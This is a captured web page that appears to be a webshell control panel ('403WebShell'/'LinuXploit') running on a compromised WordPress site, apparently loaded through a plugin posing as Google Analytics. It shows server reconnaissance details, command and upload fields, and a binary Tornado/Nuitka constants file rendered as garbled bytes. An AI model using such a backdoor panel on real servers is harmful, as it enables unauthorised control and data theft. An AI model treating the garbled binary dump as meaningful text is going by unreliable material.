Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /nuitka/eggshell.build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nuitka/eggshell.build/module.tornado.process.const
���multiprocessing�.�K.��
�	cpu_count�.���os�.���sysconf�.���SC_NPROCESSORS_CONF���.��2�builtins��AttributeError���h�
ValueError�����.���gen_log�.��	�error�.��7�1Could not detect number of processors; assuming 1���.��5�1Returns the number of processors on this machine.�.��
�random�.���sys�.���modules�.�K.���hexlify�.���urandom�.��K��.�K.���time�.��M�.��
�getpid�.���seed�.�Kd.���_task_id�.���info�.���Starting %d processes�.���i�.��
�return�.���Optional�.���start_child�.��'�#fork_processes.<locals>.start_child�.���children�.���wait�.��*�&too many values to unpack (expected 2)�.���pop�.���WIFSIGNALED�.���warning�.��5�1child %d (pid %d) killed by signal %d, restarting�.���WTERMSIG�.���WEXITSTATUS�.��7�3child %d (pid %d) exited with status %d, restarting�.��%�!child %d (pid %d) exited normally�.���num_restarts�.��&�"Too many child restarts, giving up�.���id�.���exit�.��K��.��xXqStarts multiple worker processes.

    If ``num_processes`` is None or <= 0, we detect the number of cores
    available on this machine and fork that number of child
    processes. If ``num_processes`` is given and > 0, we fork that
    specific number of sub-processes.

    Since we use processes and not threads, there is no shared memory
    between any server code.

    Note that multiple processes are not compatible with the autoreload
    module (or the ``autoreload=True`` option to `tornado.web.Application`
    which defaults to True when ``debug=True``).
    When using multiple processes, no IOLoops can be created or
    referenced until after the call to ``fork_processes``.

    In each child process, ``fork_processes`` returns its *task id*, a
    number between 0 and ``num_processes``.  Processes that exit
    abnormally (due to a signal or non-zero exit status) are restarted
    with the same id (up to ``max_restarts`` times).  In the parent
    process, ``fork_processes`` calls ``sys.exit(0)`` after all child
    processes have exited normally.

    max_restarts defaults to 100.

    Availability: Unix
    �.���fork�.���_reseed_random�.��t�pReturns the current task id, if any.

    Returns None if this process was not created by `fork_processes`.
    �.��
�ioloop�.��
�IOLoop�.���current�.���io_loop�.��	�stdin�.���
Subprocess�.��
�STREAM�.���pipe�.��
�extend�.��
�append�.���PipeIOStream�.��
�kwargs�.���get�.���stdout���.��
�stdout�.���pipe_fds�.���to_close�.���stderr���.��
�stderr�.���
subprocess�.��	�Popen�.���proc�.��	�close�.���pid�.���stdin��stdout��stderr���.���self�.���_exit_callback�.���
returncode�.���
initialize�.���_waiting�.���_try_cleanup_process�.���X�Runs ``callback`` when this process exits.

        The callback takes one argument, the return code of the process.

        This method uses a ``SIGCHLD`` handler, which is a global setting
        and may conflict if you have other libraries trying to handle the
        same signal.  If you are using more than one ``IOLoop`` it may
        be necessary to call `Subprocess.initialize` first to designate
        one ``IOLoop`` to run the signal handlers.

        In many cases a close callback on the stdout or stderr streams
        can be used as an alternative to an exit callback if the
        signal handler is causing a problem.

        Availability: Unix
        �.��
�Future�.��}�(�ret�h�int���hNu.���callback�.��.�*Subprocess.wait_for_exit.<locals>.callback�.���set_exit_callback�.��9X2Returns a `.Future` which resolves when the process exits.

        Usage::

            ret = yield proc.wait_for_exit()

        This is a coroutine-friendly alternative to `set_exit_callback`
        (and a replacement for the blocking `subprocess.Popen.wait`).

        By default, raises `subprocess.CalledProcessError` if the process
        has a non-zero exit status. Use ``wait_for_exit(raise_error=False)``
        to suppress this behavior and return the exit status without raising.

        .. versionadded:: 4.2

        Availability: Unix
        �.���raise_error�.��)�%future_set_exception_unless_cancelled�.��
�future�.���CalledProcessError�.���unknown�.��&�"future_set_result_unless_cancelled�.���_initialized�.��
�signal�.���SIGCHLD�.���<lambda>�.��+�'Subprocess.initialize.<locals>.<lambda>�.���_old_sigchld�.���X�Initializes the ``SIGCHLD`` handler.

        The signal handler is run on an `.IOLoop` to avoid locking issues.
        Note that the `.IOLoop` used for signal handling need not be the
        same one used by individual Subprocess objects (as long as the
        ``IOLoops`` are each running in separate threads).

        .. versionchanged:: 5.0
           The ``io_loop`` argument (deprecated since version 4.1) has been
           removed.

        Availability: Unix
        �.���add_callback_from_signal�.���cls�.���_cleanup�.��$� Removes the ``SIGCHLD`` handler.�.���keys�.���waitpid�.���WNOHANG�.���_set_returncode�.��
�	WIFEXITED�.�����Utilities for working with multiple processes, including both forking
the server into multiple processes and managing subprocesses.
�.���__doc__�.��=�9/usr/local/lib/python3.8/dist-packages/tornado/process.py�.���__file__�.���__spec__�.��
�origin�.���has_location�.���
__cached__�.���binascii�.��h��.���tornado.concurrent�.��	h[hihe��.���tornado�.��h6��.���tornado.iostream�.��h@��.���tornado.log�.��h��.��
�typing�.���Any�.���Callable�.��}�hh_s.��}�hNs.��N��.���
num_processes�.���max_restarts�.���fork_processes�.���task_id�.��h�object�����.��
�	metaclass�.���__prepare__�.���__getitem__�.��2�.%s.__prepare__() must return a mapping, not %s�.���__name__�.���<metaclass>�.���tornado.process�.���
__module__�.��'X Wraps ``subprocess.Popen`` with IOStream support.

    The constructor is the same as ``subprocess.Popen`` with the following
    additions:

    * ``stdin``, ``stdout``, and ``stderr`` may have the value
      ``tornado.process.Subprocess.STREAM``, which will make the corresponding
      attribute of the resulting Subprocess a `.PipeIOStream`. If this option
      is used, the caller is responsible for closing the streams when done
      with them.

    The ``Subprocess.STREAM`` option and the ``set_exit_callback`` and
    ``wait_for_exit`` methods do not work on Windows. There is
    therefore no reason to use this class instead of
    ``subprocess.Popen`` on that platform.

    .. versionchanged:: 5.0
       The ``io_loop`` argument (deprecated since version 4.1) has been removed.

    �.���__qualname__�.��
�object�.���args�.���__init__�.���Subprocess.__init__�.���int�.�� �Subprocess.set_exit_callback�.�����.���bool�.���Future[int]�.���
wait_for_exit�.���Subprocess.wait_for_exit�.���classmethod�.���Subprocess.initialize�.���uninitialize�.���Subprocess.uninitialize�.���Subprocess._cleanup�.��#�Subprocess._try_cleanup_process�.��
�status�.���Subprocess._set_returncode�.���__orig_bases__�.��(�sig��frame�h9hrt�.��hrh9��.���<module tornado.process>�.���	__class__���.��H(hTh�hAhFhG�in_r��in_w��out_r��out_w��err_r��err_w��fd��attr�t�.��hrhO��.���random�h��.��	hTh�h`��.��(hrhO�ret_pid�h��subproc�t�.��	h]hdhf��.��hfhd��.��(h�h�h"h hh/h-hOh��new_id�t�.��hTh`��.��	hhOh"��.��h"��.��hr��.��(hThdhfh`t�.����.

Youez - 2016 - github.com/yon3zu
LinuXploit